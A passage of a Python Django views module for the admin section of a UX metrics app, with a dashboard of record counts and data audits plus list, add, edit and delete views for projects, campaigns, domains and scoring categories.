estimateCount('GoalCompletedCategory'),\n\t\t\t#'inactiveUsers': User.objects.filter(profile__inactive=True).exclude(artifact_owner=None, project_contact=None, project_admins=None).values('id').distinct().count(),\n\t\t\t'methods': estimateCount('Method', app='research'),\n\t\t\t'npsLetterGrades': estimateCount('NpsLetterGrade'),\n\t\t\t'npsScoreCategories': estimateCount('NpsScoreCategory'),\n\t\t\t'operatingsystems': estimateCount('OperatingSystem'),\n\t\t\t'pageViews': PageView.objects.aggregate(Sum('view_count')),\n\t\t\t'primaryGoals': estimateCount('PrimaryGoal'),\n\t\t\t'projects': Project.projectsCanAdmin(request.user).count(),\n\t\t\t'projectKeywords': estimateCount('ProjectKeyword'),\n\t\t\t'projectSnapshots': projectSnapshots.count(),\n\t\t\t'projectEvents': estimateCount('ProjectEvent'),\n\t\t\t'projectYearSettings': estimateCount('ProjectYearSetting'),\n\t\t\t'sources': estimateCount('Source', app='research'),\n\t\t\t'states': estimateCount('State'),\n\t\t\t'statuses': estimateCount('Status', app='research'),\n\t\t\t'responses': estimateCount('Response'),\n\t\t\t'tags': estimateCount('Tag', app='research'),\n\t\t\t'umuxScoreCategories': estimateCount('UmuxScoreCategory'),\n\t\t\t'userRoles': estimateCount('UserRole'),\n\t\t\t'users': estimateCount('User', app='auth'),\n\t\t},\n\t\t'lastUsabillaRun': ImportLog.objects.filter(import_type='usabilla').order_by('-date').only('date', 'user').first(),\n\t\t'lastBeeHeardRun': ImportLog.objects.filter(import_type='beeheard').order_by('-date').only('date', 'user').first(),\n\t\t'dataAudits': {\n\t\t\t'archivedArtifacts': Artifact.objects.filter(archived=True).count(),\n\t\t\t'artifactSearches': ArtifactSearch.objects.all().values('search_text', 'search_count')[:10],\n\t\t\t'notags': Artifact.objects.filter(tags__isnull=True).count(),\n\t\t\t'methodsUnused': Method.objects.filter(artifact_methods__isnull=True).count(),\n\t\t\t'sourcesUnused': Source.objects.filter(artifact_source__isnull=True).count(),\n\t\t\t'statusesUnused': Status.objects.filter(artifact_status__isnull=True).count(),\n\t\t\t'tagsUnused': Tag.objects.filter(artifact_tags__isnull=True).count(),\n\t\t\t'userArtifacts': User.objects.exclude(artifact_owner=None).distinct().annotate(numarts=Count('artifact_owner')).order_by('-numarts')[:10],\n\t\t\t'usersNoProfile': User.objects.filter(profile__full_name='', username__contains='@', profile__inactive=False).count(),\n\t\t\t'artifactsInactiveOwners': Artifact.objects.filter(owner__profile__inactive=True).count(),\n\t\t\t'campaignsResponsesNoProject': Campaign.objects.filter(project__isnull=True, response_campaign__isnull=False).distinct().count(),\n\t\t\t'projectsInactiveContacts': Project.objects.filter(Q(contact__profile__inactive=True) | Q(admins__profile__inactive=True)).distinct().count(),\n\t\t\t'projects': Project.objects.count(),\n\t\t\t'projectsNoSnapshots': Project.objects.filter(project_snapshot_project__isnull=True).count(),\n\t\t\t'projectsNoContact': Project.objects.filter(contact__isnull=True).count(),\n\t\t\t'projectsNoDomain': Project.objects.filter(domain__isnull=True).count(),\n\t\t\t'projectsInactive': Project.objects.filter(inactive=True).count(),\n\t\t\t'coreProjects': Project.objects.filter(core_project=True).count(),\n\t\t\t'projectsWithDesigners': Project.objects.filter(designer_assigned='yes').count(),\n\t\t},\n\t}\n\t\n\tresponse = render(request, 'metrics/admin_home.html', context)\n\t\n\thelpers.clearPageMessage(request)\n\t\n\treturn response\n\n\n##\n##\t/metrics/admin/adminaccess/\n##\n##\tManage who is in admin group (Admin access control).\n##\n# @user_passes_test(accessHelpers.hasAdminAccess_decorator)\n# def admin_adminaccess(request):\n# \t\n# \tbreadcrumbs = [\n# \t\t{ \n# \t\t\t'text': 'Metrics',\n# \t\t\t'url': reverse('metrics:home')\n# \t\t},\n# \t\t{ \n# \t\t\t'text': 'Admin',\n# \t\t\t'url': reverse('metrics:admin_home')\n# \t\t}\n# \t]\n# \t\n# \tcontext = {\n# \t\t'breadcrumbs': breadcrumbs,\n# \t\t'adminUsers': User.objects.filter(groups__name='admins').order_by('username'),\n# \t}\n# \t\n# \treturn render(request, 'admin_adminaccess.html', context)\n\n\n##\n##\t/metrics/admin/imported//\n##\n##\tRead-only view of imported data\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_import_data_list(request, modelName):\n\treadonlyModels = { \n\t\t'browser': Browser,\n\t\t'operatingsystem': OperatingSystem,\n\t\t'devicetype': DeviceType,\n\t\t'country': Country,\n\t\t'state': State,\n\t\t'city': City,\n\t\t'userrole': UserRole,\n\t\t'primarygoal': PrimaryGoal\n\t}\n\t\n\ttry:\n\t\tthisModel = readonlyModels[modelName]\n\texcept Exception as ex:\n\t\treturn render(request, '404.html', {}, status=404)\n\t\n\tcontext = {\n\t\t'modelName': thisModel._meta.verbose_name_plural.capitalize(),\n\t\t'items': thisModel.objects.order_by(Lower('name')).all()\n\t}\n\t\n\treturn render(request, 'metrics/admin_import_data_list.html', context)\n\n\n##\n##\t/metrics/admin/domains/\n##\n@user_passes_test(accessHelpers.isAnyDomainAdmin_decorator)\ndef admin_domain_list(request):\n\tthisModel = Domain\n\tlistItems = thisModel.domainsCanAdmin(request.user).prefetch_related('project_domain__campaign_project', 'admins__profile')\n\treturn doCommonListView(request, thisModel, listItems)\n\n##\n##\t/metrics/admin/domains/add/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_domain_add(request):\n\tthisModel = Domain\n\treturn doCommonAddItemView(request, thisModel)\n\n\n##\n##\t/metrics/admin/domains/edit//\n##\n@user_passes_test(accessHelpers.isAnyDomainAdmin_decorator)\ndef admin_domain_edit(request, id):\n\tthisModel = Domain\n\treturn doCommonEditItemView(request, thisModel, id, 'name')\n\n\n##\n##\t/metrics/admin/domain/delete/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_domain_delete(request):\n\treturn doCommonDeleteView(request, Domain)\n\n\n##\n##\t/metrics/admin/projects/\n##\n@user_passes_test(accessHelpers.isAnyProjectAdmin_decorator)\ndef admin_project_list(request):\n\tprojects = Project.projectsCanAdmin(request.user).order_by(Lower('name')).select_related('created_by','domain').prefetch_related(\n\t\t\t'campaign_project', 'admins__profile'\n\t\t).annotate(\n\t\t\tvoteResponseCount=Count('campaign_project__response_campaign'),\n\t\t\tdomainName=F('domain__name'),\n\t\t\tcreatedbyUsername=F('created_by__username'),\n\t\t)\n\t\n\t# for project in projects:\n\t# \tproject.numResponses = project.getVoteResponses().count()\n\t\n\tcontext = {\n\t\t'projects': projects\n\t}\n\t\n\tresponse = render(request, 'metrics/admin_project_list.html', context)\n\t\n\thelpers.clearPageMessage(request)\n\t\n\treturn response\n\n\n##\n##\t/metrics/admin/projects/add/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_project_add(request):\n\tbreadcrumbs = getAdminBreadcrumbBase()\n\tbreadcrumbs.append(\n\t\t{ \n\t\t\t'text': 'Tools & services',\n\t\t\t'url': reverse('metrics:admin_project_list')\n\t\t}\n\t)\n\n\tif request.method == 'GET':\n\t\tform = ProjectForm()\n\t\t\n\t\tcontext = {\n\t\t\t'breadcrumbs': breadcrumbs,\n\t\t\t'form': form,\n\t\t}\n\n\t\tresponse = render(request, 'metrics/admin_project_add.html', context)\n\t\thelpers.clearPageMessage(request)\n\n\telif request.method == 'POST':\n\t\tform = ProjectForm(request.POST)\n\t\t\n\t\tcontext = {\n\t\t\t'breadcrumbs': breadcrumbs,\n\t\t\t'form': form\n\t\t}\n\t\t\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.created_by = request.user\n\t\t\tpost.updated_by = request.user\n\t\t\tpost.save()\n\t\t\tform.save_m2m()\n\t\t\t\n\t\t\tchangeEntry = ActivityLog.objects.create(\n\t\t\t\tuser = request.user,\n\t\t\t\tcontent_object = post,\n\t\t\t\tcomments = 'Project record created'\n\t\t\t)\n\t\t\talertEntry = Alert.objects.create(\n\t\t\t\tproject = post,\n\t\t\t\ttype = 'Info',\n\t\t\t\tcomments = f'A new project was just added: \"{post.name}\"'\n\t\t\t)\n\t\t\t\n\t\t\thelpers.setPageMessage(request, 'success', 'Project was added successfully')\n\t\t\tresponse = redirect(reverse('metrics:admin_project_list'))\n\t\t\n\t\telse:\n\t\t\tresponse = render(request, 'metrics/admin_project_add.html', context)\n\t\t\t \n\treturn response\n\n\n##\n##\t/metrics/admin/projects/edit//\n##\n@user_passes_test(accessHelpers.isAnyProjectAdmin_decorator)\ndef admin_project_edit(request, id):\n\tproject = get_object_or_404(Project, id=id)\n\t\n\tif not accessHelpers.isProjectAdmin(request.user, project):\n\t\treturn render(request, '403.html', {}, status=403)\n\t\n\tbreadcrumbs = getAdminBreadcrumbBase()\n\tbreadcrumbs.append(\n\t\t{ \n\t\t\t'text': 'Tools & services',\n\t\t\t'url': reverse('metrics:admin_project_list')\n\t\t}\n\t)\n\n\tif request.method == 'GET':\n\t\tform = ProjectForm(instance=project)\n\t\t\n\t\tcontext = {\n\t\t\t'breadcrumbs': breadcrumbs,\n\t\t\t'project': project,\n\t\t\t'form': form,\n\t\t\t'uxSpecialistAssigneds': UxSpecialistAssigned.objects.filter(project=project)\n\t\t}\n\n\t\tresponse = render(request, 'metrics/admin_project_edit.html', context)\n\t\thelpers.clearPageMessage(request)\n\n\telif request.method == 'POST':\n\t\tform = ProjectForm(request.POST, instance=project)\n\t\t\n\t\tcontext = {\n\t\t\t'breadcrumbs': breadcrumbs,\n\t\t\t'project': project,\n\t\t\t'form': form\n\t\t}\n\t\t\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.updated_by = request.user\n\t\t\tpost.save()\n\t\t\tform.save_m2m()\n\t\t\t\n\t\t\tchangeEntry = ActivityLog.objects.create(\n\t\t\t\tuser = request.user,\n\t\t\t\tcontent_object = project,\n\t\t\t\tcomments = 'Project record updated'\n\t\t\t)\n\t\t\t\n\t\t\thelpers.setPageMessage(request, 'success', 'Project was updated successfully')\n\t\t\tresponse = redirect(reverse('metrics:admin_project_list'))\n\t\t \n\t\telse:\n\t\t\tresponse = render(request, 'metrics/admin_project_edit.html', context)\n\t\t\t \n\treturn response\n\n\n##\n##\t/metrics/admin/projects/delete//\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_project_delete(request):\n\treturn doCommonDeleteView(request, Project)\n\n\n##\n##\t/metrics/admin/campaign/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_campaign_list(request):\n\tcampaigns = Campaign.objects.order_by('key').annotate(projectName=F('project__name'), vendorApp=F('project__vendor_app'), domainName=F('project__domain__name')).annotate(\n\t\tnumOthers=Count('response_campaign', filter=(Q(response_campaign__primary_goal__name='Other') | Q(response_campaign__primary_goal__name='')))\n\t)\n\t\n\tcontext = {\n\t\t'campaigns': campaigns\n\t}\n\t\n\tresponse = render(request, 'metrics/admin_campaign_list.html', context)\n\t\n\thelpers.clearPageMessage(request)\n\t\n\treturn response\n\n\n##\n##\t/metrics/admin/campaignnoproject/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_campaign_noproject_list(request):\n\tcampaigns = Campaign.objects.filter(response_campaign__isnull=False, project__isnull=True).order_by('key').annotate(numResponses=Count('response_campaign'))\n\t\n\tcontext = {\n\t\t'campaigns': campaigns\n\t}\n\t\n\tresponse = render(request, 'metrics/admin_campaign_list.html', context)\n\t\n\thelpers.clearPageMessage(request)\n\t\n\treturn response\n\n\n##\n##\t/metrics/admin/campaign/add/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_campaign_add(request):\n\tbreadcrumbs = getAdminBreadcrumbBase()\n\tbreadcrumbs.append(\n\t\t{ \n\t\t\t'text': 'Campaigns',\n\t\t\t'url': reverse('metrics:admin_campaign_list')\n\t\t}\n\t)\n\n\tif request.method == 'GET':\n\t\tform = CampaignForm()\n\t\t\n\t\tcontext = {\n\t\t\t'breadcrumbs': breadcrumbs,\n\t\t\t'form': form\n\t\t}\n\n\t\tresponse = render(request, 'metrics/admin_campaign_add.html', context)\n\t\thelpers.clearPageMessage(request)\n\n\telif request.method == 'POST':\n\t\tform = CampaignForm(request.POST)\n\t\t\n\t\tcontext = {\n\t\t\t'breadcrumbs': breadcrumbs,\n\t\t\t'form': form\n\t\t}\n\t\t\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.created_by = request.user\n\t\t\tpost.updated_by = request.user\n\t\t\tpost.save()\n\t\t\t\n\t\t\tif post.project:\n\t\t\t\talertEntry = Alert.objects.create(\n\t\t\t\t\tproject = post.project,\n\t\t\t\t\ttype = 'Info',\n\t\t\t\t\tcomments = f'A new campaign ({post.key}) campaign was added to \"{post.project.name}\"'\n\t\t\t\t)\n\t\t\t\n\t\t\thelpers.setPageMessage(request, 'success', 'Campaign was added successfully')\n\t\t\tresponse = redirect(reverse('metrics:admin_campaign_list'))\n\t\t\n\t\telse:\n\t\t\tresponse = render(request, 'metrics/admin_campaign_add.html', context)\n\t\t\t \n\treturn response\n\n\n##\n##\t/metrics/admin/campaign/edit//\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_campaign_edit(request, id):\n\tcampaign = get_object_or_404(Campaign, id=id)\n\t\n\tbreadcrumbs = getAdminBreadcrumbBase()\n\tbreadcrumbs.append(\n\t\t{ \n\t\t\t'text': 'Campaigns',\n\t\t\t'url': reverse('metrics:admin_campaign_list')\n\t\t}\n\t)\n\n\tcampaign.numResponses = campaign.response_campaign.count()\n\t\n\tif request.method == 'GET':\n\t\tform = CampaignForm(instance=campaign)\n\t\t\n\t\tcontext = {\n\t\t\t'breadcrumbs': breadcrumbs,\n\t\t\t'campaign': campaign,\n\t\t\t'form': form\n\t\t}\n\n\t\tresponse = render(request, 'metrics/admin_campaign_edit.html', context)\n\t\thelpers.clearPageMessage(request)\n\n\telif request.method == 'POST':\n\t\tform = CampaignForm(request.POST, instance=campaign)\n\n\t\tcontext = {\n\t\t\t'breadcrumbs': breadcrumbs,\n\t\t\t'campaign': campaign,\n\t\t\t'form': form\n\t\t}\n\t\t\n\t\ttry:\n\t\t\toldProject = campaign.project\n\t\texcept Exception as ex:\n\t\t\toldProject = None\n\n\t\tif form.is_valid():\n\t\t\t# Save the campaign so the new project relationship is stored, then do the re-calculations.\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.updated_by = request.user\n\t\t\tpost.save()\n\t\t\t\n\t\t\ttry:\n\t\t\t\tnewProject = post.project\n\t\t\texcept Exception as ex:\n\t\t\t\tnewProject = None\n\t\t\t\n\t\t\t# Update this campaign's project snapshots and domain if it's project changed.\n\t\t\t# If there was and old and new and they are different, update both.\n\t\t\tif newProject and oldProject and oldProject.id != newProject.id:\n\t\t\t\thelpers.runInBackground(oldProject.recalculateSnapshotsBaselinesAndDomains)\n\t\t\t\thelpers.runInBackground(newProject.recalculateSnapshotsBaselinesAndDomains)\n\t\t\t\t\n\t\t\t\talertEntry = Alert.objects.create(\n\t\t\t\t\tproject = newProject,\n\t\t\t\t\tdomain = getattr(newProject, 'domain', None),\n\t\t\t\t\ttype = 'Info',\n\t\t\t\t\tcomments = f'\"{post.key}\" campaign was moved from \"{oldProject.name}\" to \"{newProject.name}\"'\n\t\t\t\t)\n\t\t\telif newProject and not oldProject:\n\t\t\t\thelpers.runInBackground(newProject.recalculateSnapshotsBaselinesAndDomains)\n\t\t\t\t\n\t\t\t\talertEntry = Alert.objects.create(\n\t\t\t\t\tproject = newProject,\n\t\t\t\t\tdomain = getattr(newProject, 'domain', None),\n\t\t\t\t\ttype = 'Info',\n\t\t\t\t\tcomments = f'\"{post.key}\" campaign was added to \"{newProject.name}\"'\n\t\t\t\t)\n\t\t\telif oldProject and not newProject:\n\t\t\t\thelpers.runInBackground(oldProject.recalculateSnapshotsBaselinesAndDomains)\n\t\t\t\t\n\t\t\t\talertEntry = Alert.objects.create(\n\t\t\t\t\tproject = newProject,\n\t\t\t\t\tdomain = getattr(newProject, 'domain', None),\n\t\t\t\t\ttype = 'Info',\n\t\t\t\t\tcomments = f'\"{post.key}\" campaign was removed from \"{oldProject.name}\"'\n\t\t\t\t)\n\n\t\t\thelpers.setPageMessage(request, 'success', 'Campaign was updated successfully')\n\t\t\tresponse = redirect(reverse('metrics:admin_campaign_list'))\n\t\t \n\t\telse:\n\t\t\tresponse = render(request, 'metrics/admin_campaign_edit.html', context)\n\t\t\t \n\treturn response\n\n\n##\n##\t/metrics/admin/campaign/delete/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_campaign_delete(request):\n\treturn doCommonDeleteView(request, Campaign)\n\n\n##\n##\t/metrics/admin/campaign/deleteallresponses/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_campaign_delete_all_responses(request):\n\tcampaign = get_object_or_404(Campaign, id=request.POST.get('id', None))\n\t\n\t# Delete all response\n\t# Set the date way back\n\t# Update all this project's snapshots so they recalc with removed responses.\n\t# Update this project's domain to update the rollup scores metrics.\n\ttry:\n\t\tcampaign.response_campaign.all().delete()\n\t\tcampaign.feedback_response_campaign.all().delete()\n\t\tcampaign.other_response_campaign.all().delete()\n\t\tcampaign.latest_response_date = timezone.make_aware(datetime(2015, 1, 1))\n\t\tcampaign.latest_feedback_response_date = timezone.make_aware(datetime(2015, 1, 1))\n\t\tcampaign.latest_other_response_date = timezone.make_aware(datetime(2015, 1, 1))\n\t\tcampaign.save()\n\t\tcampaign.project.updateAllSnapshots()\n\t\tcampaign.project.storeLatestSnapshots()\n\t\tcampaign.project.domain.updateDomainYearSnapshot()\n\t\t\n\t\thelpers.setPageMessage(request, 'success', 'All campaign responses were deleted successfully')\n\texcept Exception as ex:\n\t\thelpers.setPageMessage(request, 'error', 'Campaign responses were unable to be deleted. Contact ')\n\t\n\treturn redirect(reverse('metrics:admin_campaign_list'))\t\n\n\n##\n##\t/metrics/admin/projectyearsetting/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_projectyearsetting_list(request):\n\tthisModel = ProjectYearSetting\n\tlistItems = thisModel.objects.prefetch_related('project', 'updated_by').all()\n\treturn doCommonListView(request, thisModel, listItems)\n\n\n##\n##\t/metrics/admin/projectyearsetting/add/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_projectyearsetting_add(request):\n\tbreadcrumbs = getAdminBreadcrumbBase()\n\tbreadcrumbs.append(\n\t\t{ \n\t\t\t'text': 'Project year settings',\n\t\t\t'url': reverse('metrics:admin_projectyearsetting_list')\n\t\t}\n\t)\n\n\tif request.method == 'GET':\n\t\tform = ProjectYearSettingForm()\n\t\t\n\t\tcontext = {\n\t\t\t'breadcrumbs': breadcrumbs,\n\t\t\t'form': form\n\t\t}\n\n\t\tresponse = render(request, 'metrics/admin_projectyearsetting_add.html', context)\n\t\thelpers.clearPageMessage(request)\n\n\telif request.method == 'POST':\n\t\tform = ProjectYearSettingForm(request.POST)\n\t\t\n\t\tcontext = {\n\t\t\t'breadcrumbs': breadcrumbs,\n\t\t\t'form': form\n\t\t}\n\t\t\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.created_by = request.user\n\t\t\tpost.updated_by = request.user\n\t\t\tpost.nps_baseline_entry_type = 'manual'\n\t\t\tpost.calculateTargets()\n\t\t\tpost.save()\n\t\t\t\n\t\t\thelpers.setPageMessage(request, 'success', 'Project year setting was added successfully')\n\t\t\tresponse = redirect(reverse('metrics:admin_projectyearsetting_list'))\n\t\t\n\t\telse:\n\t\t\tresponse = render(request, 'metrics/admin_projectyearsetting_add.html', context)\n\t\t\t \n\treturn response\n\n\n##\n##\t/metrics/admin/projectyearsetting/edit//\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_projectyearsetting_edit(request, id):\n\tprojectyearsetting = get_object_or_404(ProjectYearSetting, id=id)\n\t\n\tbreadcrumbs = getAdminBreadcrumbBase()\n\tbreadcrumbs.append(\n\t\t{ \n\t\t\t'text': 'Project year settings',\n\t\t\t'url': reverse('metrics:admin_projectyearsetting_list')\n\t\t}\n\t)\n\n\tif request.method == 'GET':\n\t\tform = ProjectYearSettingForm(instance=projectyearsetting)\n\t\t\n\t\tcontext = {\n\t\t\t'breadcrumbs': breadcrumbs,\n\t\t\t'projectyearsetting': projectyearsetting,\n\t\t\t'form': form\n\t\t}\n\n\t\tresponse = render(request, 'metrics/admin_projectyearsetting_edit.html', context)\n\t\thelpers.clearPageMessage(request)\n\n\telif request.method == 'POST':\n\t\tform = ProjectYearSettingForm(request.POST, instance=projectyearsetting)\n\n\t\tcontext = {\n\t\t\t'breadcrumbs': breadcrumbs,\n\t\t\t'projectyearsetting': projectyearsetting,\n\t\t\t'form': form\n\t\t}\n\t\t\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.updated_by = request.user\n\t\t\tpost.nps_baseline_entry_type = 'manual'\n\t\t\tpost.calculateTargets()\n\t\t\tpost.save()\n\t\t\t\n\t\t\thelpers.setPageMessage(request, 'success', 'Project year setting was updated successfully')\n\t\t\tresponse = redirect(reverse('metrics:admin_projectyearsetting_list'))\n\t\t \n\t\telse:\n\t\t\tresponse = render(request, 'metrics/admin_projectyearsetting_edit.html', context)\n\t\t\t \n\treturn response\n\n\n##\n##\t/metrics/admin/datasource/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_datasource_list(request):\n\tthisModel = DataSource\n\tlistItems = thisModel.objects.all()\n\treturn doCommonListView(request, thisModel, listItems)\n\n\n##\n##\t/metrics/admin/datasource/add/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_datasource_add(request):\n\tthisModel = DataSource\n\treturn doCommonAddItemView(request, thisModel)\n\n\n##\n##\t/metrics/admin/datasource/edit/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_datasource_edit(request, id):\n\tthisModel = DataSource\n\treturn doCommonEditItemView(request, thisModel, id, 'name')\n\n\n##\n##\t/metrics/admin/npslettergrade/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_npslettergrade_list(request):\n\tthisModel = NpsLetterGrade\n\tlistItems = thisModel.objects.all()\n\treturn doCommonListView(request, thisModel, listItems)\n\n\n##\n##\t/metrics/admin/npslettergrade/add/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_npslettergrade_add(request):\n\tthisModel = NpsLetterGrade\n\treturn doCommonAddItemView(request, thisModel)\n\n\n##\n##\t/metrics/admin/npslettergrade/edit/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_npslettergrade_edit(request, id):\n\tthisModel = NpsLetterGrade\n\treturn doCommonEditItemView(request, thisModel, id, 'name')\n\n\n##\n##\t/metrics/admin/npsscorecategory/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_npsscorecategory_list(request):\n\tthisModel = NpsScoreCategory\n\tlistItems = thisModel.objects.all()\n\treturn doCommonListView(request, thisModel, listItems)\n\n\n##\n##\t/metrics/admin/npsscorecategory/add/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_npsscorecategory_add(request):\n\tthisModel = NpsScoreCategory\n\treturn doCommonAddItemView(request, thisModel)\n\n\n##\n##\t/metrics/admin/npsscorecategory/edit/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_npsscorecategory_edit(request, id):\n\tthisModel = NpsScoreCategory\n\treturn doCommonEditItemView(request, thisModel, id, 'name')\n\n\n##\n##\t/metrics/admin/goalcompletedcategory/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_goalcompletedcategory_list(request):\n\tthisModel = GoalCompletedCategory\n\tlistItems = thisModel.objects.all()\n\treturn doCommonListView(request, thisModel, listItems)\n\n\n##\n##\t/metrics/admin/goalcompletedcategory/add/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_goalcompletedcategory_add(request):\n\tthisModel = GoalCompletedCategory\n\treturn doCommonAddItemView(request, thisModel)\n\n\n##\n##\t/metrics/admin/goalcompletedcategory/edit/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_goalcompletedcategory_edit(request, id):\n\tthisModel = GoalCompletedCategory\n\treturn doCommonEditItemView(request, thisModel, id, 'name')\n\n\n##\n##\t/metrics/admin/domainyearsnapshot/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_domainyearsnapshot_list(request):\n\tthisModel = DomainYearSnapshot\n\tlistItems = thisModel.objects.all()\n\treturn doCommonListView(request, thisModel, listItems)\n\n\n##\n##\t/metrics/admin/domainyearsnapshot/add/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_domainyearsnapshot_add(request):\n\tthisModel = DomainYearSnapshot\n\treturn doCommonAddItemView(request, thisModel)\n\n\n##\n##\t/metrics/admin/domainyearsnapshot/edit/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_domainyearsnapshot_edit(request, id):\n\tthisModel = DomainYearSnapshot\n\treturn doCommonEditItemView(request, thisModel, id, 'domain')\n\n\n##\n##\t/metrics/admin/umuxscorecategory/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_umuxscorecategory_list(request):\n\tthisModel = UmuxScoreCategory\n\tlistItems = thisModel.objects.all()\n\treturn doCommonListView(request, thisModel, listItems)\n\n\n##\n##\t/metrics/admin/umuxscorecategory/add/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_umuxscorecategory_add(request):\n\tthisModel = UmuxScoreCategory\n\treturn doCommonAddItemView(request, thisModel)\n\n\n##\n##\t/metrics/admin/umuxscorecategory/edit/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_umuxscorecategory_edit(request, id):\n\tthisModel = UmuxScoreCategory\n\treturn doCommonEditItemView(request, thisModel, id, 'name')\n\n\n##\n##\t/metrics/admin/projectevents/\n##\n@user_passes_test(accessHelpers.isAnyProjectEditor_decorator)\ndef admin_projectevent_list(request):\n\tthisModel = ProjectEvent\n\tlistItems = thisModel.objects.select_related('project', 'created_by')\n\treturn doCommonListView(request, thisModel, listItems)\n\n\n##\n##\t/metrics/admin/projectevents/add/\n##\ndef admin_projectevent_add(request):\n\tthisModel = ProjectEvent\n\tthisModelForm = globals()[thisModel._meta.object_name + 'Form']\n\tthisViewTemplate = f'metrics/admin_{thisModel._meta.model_name}_add.html'\n\tthisModelListUrl = reverse(f'metrics:admin_{thisModel._meta.model_name}_list')\n\t\n\tbreadcrumbs = getAdminBreadcrumbBase()\n\tbreadcrumbs.append(\n\t\t{\n\t\t\t'text': capfirst(thisModel._meta.verbose_name_plural),\n\t\t\t'url': thisModelListUrl\n\t\t}\n\t)\n\n\tcontext = {\n\t\t'breadcrumbs': breadcrumbs,\n\t\t'form': None,\n\t\t'modelMeta': thisModel._meta,\n\t\t'newItemName': thisModel._meta.verbose_name,\n\t}\n\n\tif request.method == 'GET':\n\t\tform = thisModelForm()\n\t\t\n\t\ttry:\n\t\t\tform.fields['project'].initial = Project.objects.get(id=request.GET.get('project', None))\n\t\texcept:\n\t\t\tpass\n\t\t\n\t\tcontext['form'] = form\n\n\t\tresponse = render(request, thisViewTemplate, context)\n\t\thelpers.clearPageMessage(request)\n\t\t\n\telif request.method == 'POST':\n\t\tform = thisModelForm(request.POST)\n\n\t\ttry:\n\t\t\tform.fields['project'].initial = Project.objects.get(id=request.GET.get('project', None))\n\t\texcept:\n\t\t\tpass\n\t\t\n\t\tcontext['form'] = form\n\t\t\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.created_by = request.user\n\t\t\tpost.updated_by = request.user\n\t\t\tpost.save()\n\t\t\tform.save_m2m()\n\t\t\t\n\t\t\t# If it's a success and they want JSON back, return the ID and label as JSON,\n\t\t\t# otherwise we redirect to the list page with a message.\n\t\t\tif request.POST.get('returntype', None) == 'json':\n\t\t\t\tresponse = JsonResponse({\n\t\t\t\t\t'id': post.id,\n\t\t\t\t\t'name': post.__str__()\n\t\t\t\t}, status=200)\n\t\t\telse:\n\t\t\t\thelpers.setPageMessage(request, 'success', f'{capfirst(thisModel._meta.verbose_name)} was added successfully')\n\t\t\t\tresponse = redirect(thisModelListUrl)\n\t\telse:\n\t\t\tresponse = render(request, thisViewTemplate, context)\n\t\t\t\n\treturn response\n\n\n##\n##\t/metrics/admin/projectevents/edit//\n##\ndef admin_projectevent_edit(request, id):\n\tthisModel = ProjectEvent\n\tthisModelItem = get_object_or_404(thisModel, id=id)\n\tthisModelForm = globals()[thisModel._meta.object_name + 'Form']\n\tthisViewTemplate = f'metrics/admin_{thisModel._meta.model_name}_edit.html'\n\tthisModelListUrl = reverse(f'metrics:admin_{thisModel._meta.model_name}_list')\n\t\n\tbreadcrumbs = getAdminBreadcrumbBase()\n\tbreadcrumbs.append(\n\t\t{\n\t\t\t'text': capfirst(thisModel._meta.verbose_name_plural),\n\t\t\t'url': thisModelListUrl\n\t\t}\n\t)\n\n\tcontext = {\n\t\t'breadcrumbs': breadcrumbs,\n\t\t'form': None,\n\t\t'modelMeta': thisModel._meta,\n\t\t'thisModelItem': thisModelItem,\n\t}\n\n\tif request.method == 'GET':\n\t\tform = thisModelForm(instance=thisModelItem)\n\n\t\tcontext['form'] = form\n\n\t\tresponse = render(request, thisViewTemplate, context)\n\t\thelpers.clearPageMessage(request)\n\n\telif request.method == 'POST':\n\t\tform = thisModelForm(request.POST, instance=thisModelItem)\n\n\t\tcontext['form'] = form\n\t\t\n\t\tif 